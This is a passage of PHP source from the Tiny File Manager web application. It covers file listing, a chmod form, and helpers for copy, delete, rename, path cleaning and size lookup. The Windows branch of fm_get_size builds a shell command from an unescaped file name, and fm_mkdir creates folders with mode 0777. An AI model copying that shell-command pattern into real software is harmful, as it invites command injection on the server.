                            <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="Redo"><i class="fa fa-repeat" title="Redo"></i></button>
                            <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="Word Wrap"><i class="fa fa-text-width" title="Word Wrap"></i></button>
                            <button data-cmd="none" data-option="help" class="btn btn-sm btn-outline-secondary" id="js-ace-goLine" title="Help"><i class="fa fa-question" title="Help"></i></button>
                            <select id="js-ace-mode" data-type="mode" title="Select Document Type" class="btn-outline-secondary border-left-0 d-none d-md-block"><option>-- Select Mode --</option></select>
                            <select id="js-ace-theme" data-type="theme" title="Select Theme" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Theme --</option></select>
                            <select id="js-ace-fontSize" data-type="fontSize" title="Selct Font Size" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Font Size --</option></select>
                        </div>
                    <?php } ?>
                </div>
            </div>
            <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-right pt-1">
                <a title="Back" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
                <a title="Backup" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
                <?php if ($is_text) { ?>
                    <?php if ($isNormalEditor) { ?>
                        <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&amp;env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-outline-primary name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
                        </button>
                    <?php } else { ?>
                        <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-outline-primary" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
                        </button>
                    <?php } ?>
                <?php } ?>
            </div>
        </div>
        <?php
        if ($is_text && $isNormalEditor) {
            echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
        } elseif ($is_text) {
            echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
        } else {
            fm_set_msg('FILE EXTENSION HAS NOT SUPPORTED', 'error');
        }
        ?>
    </div>
    <?php
    fm_show_footer();
    exit;
}

// chmod (not for Windows)
if (isset($_GET['chmod']) && !FM_READONLY && !FM_IS_WIN) {
    $file = $_GET['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
        fm_set_msg('File not found', 'error');
        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
    $file_path = $path . '/' . $file;

    $mode = fileperms($path . '/' . $file);

    ?>
    <div class="path">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <?php echo lng('ChangePermissions') ?>
            </h6>
            <div class="card-body">
                <p class="card-text">
                    Full path: <?php echo $file_path ?><br>
                </p>
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
                    <input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>">

                    <table class="table compact-table <?php echo fm_get_theme(); ?>">
                        <tr>
                            <td></td>
                            <td><b><?php echo lng('Owner') ?></b></td>
                            <td><b><?php echo lng('Group') ?></b></td>
                            <td><b><?php echo lng('Other') ?></b></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
                            <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
                            <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
                            <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
                        </tr>
                    </table>

                    <p>
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button> &nbsp;
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

//--- FILEMANAGER MAIN
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path

// messages
fm_show_message();

$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
    <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
    <input type="hidden" name="group" value="1">
    <div class="table-responsive">
        <table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
            <thead class="thead-white">
            <tr>
                <?php if (!FM_READONLY): ?>
                    <th style="width:3%" class="custom-checkbox-header">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
                            <label class="custom-control-label" for="js-select-all-items"></label>
                        </div>
                    </th><?php endif; ?>
                <th><?php echo lng('Name') ?></th>
                <th><?php echo lng('Size') ?></th>
                <th><?php echo lng('Modified') ?></th>
                <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                    <th><?php echo lng('Perms') ?></th>
                    <th><?php echo lng('Owner') ?></th><?php endif; ?>
                <th><?php echo lng('Actions') ?></th>
            </tr>
            </thead>
            <?php
            // link to parent folder
            if ($parent !== false) {
                ?>
                <tr><?php if (!FM_READONLY): ?>
                    <td class="nosort"></td><?php endif; ?>
                    <td class="border-0"><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
                    <td class="border-0"></td>
                    <td class="border-0"></td>
                    <td class="border-0"></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols) { ?>
                        <td class="border-0"></td>
                        <td class="border-0"></td>
                    <?php } ?>
                </tr>
                <?php
            }
            $ii = 3399;
            foreach ($folders as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                if ($calc_folder) {
                    $filesize_raw = fm_get_directorysize($path . '/' . $f);
                    $filesize = fm_get_filesize($filesize_raw);
                }
                else {
                    $filesize_raw = "";
                    $filesize = lng('Folder');
                }
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ii ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ii ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td>
                        <div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?>
                            </a><?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
                    </td>
                    <td data-sort="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
                        <?php echo $filesize; ?>
                    </td>
                    <td data-sort="a-<?php echo $modif_raw;?>"><?php echo $modif ?></td>                                                                                                                           
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
                    <?php endif; ?>
                    <td class="inline-actions"><?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo lng('Delete').' '.lng('Folder').'?'; ?>\n \n ( <?php echo urlencode($f) ?> )');"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fm_enc(FM_PATH) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('CopyTo')?>..." href="?p=&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink')?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ii++;
            }
            $ik = 6070;
            foreach ($files as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $filesize_raw = fm_get_size($path . '/' . $f);
                $filesize = fm_get_filesize($filesize_raw);
                $filelink = '?p=' . urlencode(FM_PATH) . '&amp;view=' . urlencode($f);
                $all_files_size += $filesize_raw;
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ik ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td>
                        <div class="filename"> 
                        <?php
                           if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg'))): ?>
                                <?php $imagePreview = fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
                                <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo $f ?>">
                           <?php else: ?>
                                <a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
                            <?php endif; ?>
                                    <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win($f) ?>
                                </a>
                                <?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-sort=b-"<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
                        <?php echo $filesize; ?>
                        </span></td>
                    <td data-sort="b-<?php echo $modif_raw;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN && !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo fm_enc($owner['name'] . ':' . $group['name']) ?></td>
                    <?php endif; ?>
                    <td class="inline-actions">
                        <a title="<?php echo lng('Preview') ?>" href="<?php echo $filelink.'&quickView=1'; ?>" data-toggle="lightbox" data-gallery="tiny-gallery" data-title="<?php echo fm_convert_win($f) ?>" data-max-width="100%" data-width="100%"><i class="fa fa-eye"></i></a>
                        <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo lng('Delete').' '.lng('File').'?'; ?>\n \n ( <?php echo urlencode($f) ?> )');"> <i class="fa fa-trash-o"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fm_enc(FM_PATH) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..."
                               href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
                        <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>"><i class="fa fa-download"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ik++;
            }

            if (empty($folders) && empty($files)) {
                ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td></td><?php endif; ?>
                        <td colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>"><em><?php echo 'Folder is empty' ?></em></td>
                    </tr>
                </tfoot>
                <?php
            } else {
                ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td class="gray"></td><?php endif; ?>
                        <td class="gray" colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>">
                            <?php echo lng('FullSize').': <span class="badge badge-light">'.fm_get_filesize($all_files_size).'</span>' ?>
                            <?php echo lng('File').': <span class="badge badge-light">'.$num_files.'</span>' ?>
                            <?php echo lng('Folder').': <span class="badge badge-light">'.$num_folders.'</span>' ?>
                            <?php echo lng('MemoryUsed').': <span class="badge badge-light">'.fm_get_filesize(@memory_get_usage(true)).'</span>' ?>
                            <?php echo lng('PartitionSize').': <span class="badge badge-light">'.fm_get_filesize(@disk_free_space($path)) .'</span> '.lng('FreeOf').' <span class="badge badge-light">'.fm_get_filesize(@disk_total_space($path)).'</span>'; ?>
                        </td>
                    </tr>
                </tfoot>
                <?php
            }
            ?>
        </table>
    </div>

    <div class="row">
        <?php if (!FM_READONLY): ?>
        <div class="col-xs-12 col-sm-9">
            <ul class="list-inline footer-action">
                <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('Delete selected files and folders?')">
                    <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('Create archive?')">
                    <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('Create archive?')">
                    <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
                    <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
            </ul>
        </div>
        <div class="col-3 d-none d-sm-block"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
        <?php else: ?>
            <div class="col-12"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
        <?php endif; ?>
    </div>

</form>

<?php
fm_show_footer();

//--- END

// Functions

/**
 * Check if the filename is allowed.
 * @param string $filename
 * @return bool
 */
function fm_is_file_allowed($filename)
{
    // By default, no file is allowed
    $allowed = false;

    if (FM_EXTENSION) {
        $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

        if (in_array($ext, explode(',', strtolower(FM_EXTENSION)))) {
            $allowed = true;
        }
    }

    return $allowed;
}

/**
 * Delete  file or folder (recursively)
 * @param string $path
 * @return bool
 */
function fm_rdelete($path)
{
    if (is_link($path)) {
        return unlink($path);
    } elseif (is_dir($path)) {
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rdelete($path . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return ($ok) ? rmdir($path) : false;
    } elseif (is_file($path)) {
        return unlink($path);
    }
    return false;
}

/**
 * Recursive chmod
 * @param string $path
 * @param int $filemode
 * @param int $dirmode
 * @return bool
 * @todo Will use in mass chmod
 */
function fm_rchmod($path, $filemode, $dirmode)
{
    if (is_dir($path)) {
        if (!chmod($path, $dirmode)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
                        return false;
                    }
                }
            }
        }
        return true;
    } elseif (is_link($path)) {
        return true;
    } elseif (is_file($path)) {
        return chmod($path, $filemode);
    }
    return false;
}

/**
 * Check the file extension which is allowed or not
 * @param string $filename
 * @return bool
 */
function fm_is_valid_ext($filename)
{
    $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;

    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    return ($isFileAllowed) ? true : false;
}

/**
 * Safely rename
 * @param string $old
 * @param string $new
 * @return bool|null
 */
function fm_rename($old, $new)
{
    $isFileAllowed = fm_is_valid_ext($new);

    if(!$isFileAllowed) return false;

    return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null;
}

/**
 * Copy file or folder (recursively).
 * @param string $path
 * @param string $dest
 * @param bool $upd Update files
 * @param bool $force Create folder with same names instead file
 * @return bool
 */
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
    if (is_dir($path)) {
        if (!fm_mkdir($dest, $force)) {
            return false;
        }
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return $ok;
    } elseif (is_file($path)) {
        return fm_copy($path, $dest, $upd);
    }
    return false;
}

/**
 * Safely create folder
 * @param string $dir
 * @param bool $force
 * @return bool
 */
function fm_mkdir($dir, $force)
{
    if (file_exists($dir)) {
        if (is_dir($dir)) {
            return $dir;
        } elseif (!$force) {
            return false;
        }
        unlink($dir);
    }
    return mkdir($dir, 0777, true);
}

/**
 * Safely copy file
 * @param string $f1
 * @param string $f2
 * @param bool $upd Indicates if file should be updated with new content
 * @return bool
 */
function fm_copy($f1, $f2, $upd)
{
    $time1 = filemtime($f1);
    if (file_exists($f2)) {
        $time2 = filemtime($f2);
        if ($time2 >= $time1 && $upd) {
            return false;
        }
    }
    $ok = copy($f1, $f2);
    if ($ok) {
        touch($f2, $time1);
    }
    return $ok;
}

/**
 * Get mime type
 * @param string $file_path
 * @return mixed|string
 */
function fm_get_mime_type($file_path)
{
    if (function_exists('finfo_open')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_path);
        finfo_close($finfo);
        return $mime;
    } elseif (function_exists('mime_content_type')) {
        return mime_content_type($file_path);
    } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
        $file = escapeshellarg($file_path);
        $mime = shell_exec('file -bi ' . $file);
        return $mime;
    } else {
        return '--';
    }
}

/**
 * HTTP Redirect
 * @param string $url
 * @param int $code
 */
function fm_redirect($url, $code = 302)
{
    header('Location: ' . $url, true, $code);
    exit;
}

/**
 * Path traversal prevention and clean the url
 * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
 * @param $path
 * @return string
 */
function get_absolute_path($path) {
    $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
    $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
    $absolutes = array();
    foreach ($parts as $part) {
        if ('.' == $part) continue;
        if ('..' == $part) {
            array_pop($absolutes);
        } else {
            $absolutes[] = $part;
        }
    }
    return implode(DIRECTORY_SEPARATOR, $absolutes);
}

/**
 * Clean path
 * @param string $path
 * @return string
 */
function fm_clean_path($path, $trim = true)
{
    $path = $trim ? trim($path) : $path;
    $path = trim($path, '\\/');
    $path = str_replace(array('../', '..\\'), '', $path);
    $path =  get_absolute_path($path);
    if ($path == '..') {
        $path = '';
    }
    return str_replace('\\', '/', $path);
}

/**
 * Get parent path
 * @param string $path
 * @return bool|string
 */
function fm_get_parent_path($path)
{
    $path = fm_clean_path($path);
    if ($path != '') {
        $array = explode('/', $path);
        if (count($array) > 1) {
            $array = array_slice($array, 0, -1);
            return implode('/', $array);
        }
        return '';
    }
    return false;
}

/**
 * Check file is in exclude list
 * @param string $file
 * @return bool
 */
function fm_is_exclude_items($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    if(!in_array($file, FM_EXCLUDE_ITEMS) && !in_array("*.$ext", FM_EXCLUDE_ITEMS)) {
        return true;
    }
    return false;
}

/**
 * get language translations from json file
 * @param int $tr
 * @return array
 */
function fm_get_translations($tr) {
    try {
        $content = @file_get_contents('translation.json');
        if($content !== FALSE) {
            $lng = json_decode($content, TRUE);
            global $lang_list;
            foreach ($lng["language"] as $key => $value)
            {
                $code = $value["code"];
                $lang_list[$code] = $value["name"];
                if ($tr)
                    $tr[$code] = $value["translation"];
            }
            return $tr;
        }

    }
    catch (Exception $e) {
        echo $e;
    }
}

/**
 * @param $file
 * Recover all file sizes larger than > 2GB.
 * Works on php 32bits and 64bits and supports linux
 * @return int|string
 */
function fm_get_size($file)
{
    static $iswin;
    static $isdarwin;
    if (!isset($iswin)) {
        $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
    } 
    if (!isset($isdarwin)) {
        $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
    }

    static $exec_works;
    if (!isset($exec_works)) {
        $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC');
    }

    // try a shell command
    if ($exec_works) {
        $arg = escapeshellarg($file);
        $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
        @exec($cmd, $output);
        if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) {
            return $size;
        }
    }

    // try the Windows COM interface
    if ($iswin && class_exists("COM")) {
        try {
            $fsobj = new COM('Scripting.FileSystemObject');
            $f = $fsobj->GetFile( realpath($file) );
            $size = $f->Size;
        } catch (Exception $e) {
            $size = null;
        }
        if (ctype_digit($size)) {
            return $size;
        }
    }

    // if all else fails
    return filesize($file);
}

/**
 * Get nice filesize
 * @param int $size
 * @return string
 */
function fm_get_filesize($size)
{
    $size = (float) $size;
    $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $power = $size > 0 ? floor(log($size, 1024)) : 0;
    return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}

/**
 * Get director total size
 * @param string $directory
 * @return int
 */
function fm_get_directorysize($directory) {
    global $calc_folder;
    if ($calc_folder==true) { //  Slower output
      $size = 0;  $count= 0;  $dirCount= 0;
    foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file)
    if ($file->isFile())
        {   $size+=$file->getSize();
            $count++;
        }
    else if ($file->isDir()) { $dirCount++; }
    // return [$size, $count, $dirCount];
    return $size;
    }
    else return 'Folder'; //  Quick output
}

/**
 * Get info about zip archive
 * @param string $path
 * @return array|bool
 */
function fm_get_zif_info($path, $ext) {
    if ($ext == 'zip' && function_exists('zip_open')) {
        $arch = zip_open($path);
        if ($arch) {
            $filenames = array();
            while ($zip_entry = zip_read($arch)) {
                $zip_name = zip_entry_name($zip_entry);
                $zip_folder = substr($zip_name, -1) == '/';
                $filenames[] = array(
                    'name' => $zip_name,
                    'filesize' => zip_entry_filesize($zip_entry),
                    'compressed_size' => zip_entry_compressedsize($zip_entry),
                    'folder' => $zip_folder
                    //'compression_method' => zip_entry_compressionmethod($zip_entry),
                );
            }
            zip_close($arch);
            return $filenames;
        }
    } elseif($ext == 'tar' && class_exists('PharData')) {
        $archive = new PharData($path);
        $filenames = array();
        foreach(new RecursiveIteratorIterator($archive) as $file) {
            $parent_info = $file->getPathInfo();
            $zip_name = str_replace("phar://".$path, '', $file->getPathName());
            $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
            $zip_folder = $parent_info->getFileName();
            $zip_info = new SplFileInfo($file);
            $filenames[] = array(
                'name' => $zip_name,
                'filesize' => $zip_info->getSize(),
                'compressed_size' => $file->getCompressedSize(),
                'folder' => $zip_folder
            );
        }
        return $filenames;
    }
    return false;
}

/**
 * Encode html entities
 * @param string $text
 * @return string
 */
function fm_enc($text)
{
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

/**
 * Prevent XSS attacks
 * @param string $text
 * @return string
 */
function fm_isvalid_filename($text) {
    return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}

/**
 * Save message in session
 * @param string $msg
 * @param string $status
 */
function fm_set_msg($msg, $status = 'ok')
{
    $_SESSION[FM_SESSION_ID]['message'] = $msg;
    $_SESSION[FM_SESSION_ID]['status'] = $status;
}

/**
 * Check if string is in UTF-8
 * @param string $string
 * @return int
 */
function fm_is_utf8($string)
{
    return preg_match('//u', $string);
}

/**
 * Convert file name to UTF-8 in Windows
 * @param string $filename
 * @return string
 */
function fm_convert_win($filename)
{
    if (FM_IS_WIN && function_exists('iconv')) {
        $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
    }
    return $filename;
}

/**
 * @param $obj
 * @return array
 */
function fm_object_to_array($obj)
{
    if (!is_object($obj) && !is_array($obj)) {
        return $obj;
    }
    if (is_object($obj)) {
        $obj = get_object_vars($obj);
    }
    return array_map('fm_object_to_array', $obj);
}

/**
 * Get CSS classname for file
 * @param string $path
 * @return string
 */
function fm_get_file_icon_class($path)
{
    // get extension
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    switch ($ext) {
        case 'ico':
        case 'gif':
        case 'jpg':
        case 'jpeg':
        case 'jpc':
        case 'jp2':
        case 'jpx':
        case 'xbm':
        case 'wbmp':
        case 'png':
        case 'bmp':
        case 'tif':
        case 'tiff':
        case 'svg':
            $img = 'fa fa-picture-o';
            break;
